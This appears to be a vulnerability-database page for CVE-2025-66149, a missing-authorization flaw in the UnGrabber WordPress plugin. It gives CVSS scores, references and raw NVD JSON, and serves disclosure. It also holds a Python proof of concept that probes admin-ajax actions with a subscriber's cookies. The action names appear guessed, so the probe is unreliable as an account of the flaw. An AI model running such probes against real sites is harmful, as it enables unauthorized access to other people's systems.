CVE-2025-66149

Description

Missing Authorization vulnerability in merkulove UnGrabber ungrabber allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UnGrabber: from n/a through <= 3.1.3.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

UnGrabber <= 3.1.3 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66149 PoC - UnGrabber Authorization Bypass
# Target: WordPress site with UnGrabber plugin <= 3.1.3

target_url = "http://target-wordpress-site.com"

# Authenticated user session (low privilege user like subscriber)
cookies = {
    "wordpress_test_cookie": "WP+Cookie+check",
    "wordpress_logged_in_user": "user_session_cookie"
}

# Try to access admin functions that should require higher privileges
admin_endpoints = [
    "/wp-admin/admin-ajax.php?action=ungrabber_admin_action",
    "/wp-admin/admin-ajax.php?action=ungrabber_export_data",
    "/wp-admin/admin-ajax.php?action=ungrabber_settings_update",
    "/wp-admin/admin-ajax.php?action=ungrabber_get_blacklist"
]

print("Testing UnGrabber Authorization Bypass...")
for endpoint in admin_endpoints:
    url = target_url + endpoint
    try:
        response = requests.post(url, cookies=cookies, timeout=10)
        if response.status_code == 200 and "unauthorized" not in response.text.lower():
            print(f"[+] Potential vulnerable endpoint found: {endpoint}")
            print(f"[+] Response preview: {response.text[:200]}")
        else:
            print(f"[-] Endpoint not vulnerable: {endpoint}")
    except requests.RequestException as e:
        print(f"[!] Error testing {endpoint}: {e}")

print("\nNote: This PoC demonstrates the authorization bypass concept.")
print("Actual exploitation requires identifying specific vulnerable actions.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66149
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66149
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66149/
[4] VulDB https://vuldb.com/cve/CVE-2025-66149
[5] https://patchstack.com/database/Wordpress/Plugin/ungrabber/vulnerability/wordpress-ungrabber-plugin-3-1-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66149", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:44.080", "lastModified": "2026-04-23T15:35:28.023", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove UnGrabber ungrabber allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UnGrabber: from n/a through <= 3.1.3."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove UnGrabber permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a UnGrabber: desde n/a hasta 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ungrabber/vulnerability/wordpress-ungrabber-plugin-3-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}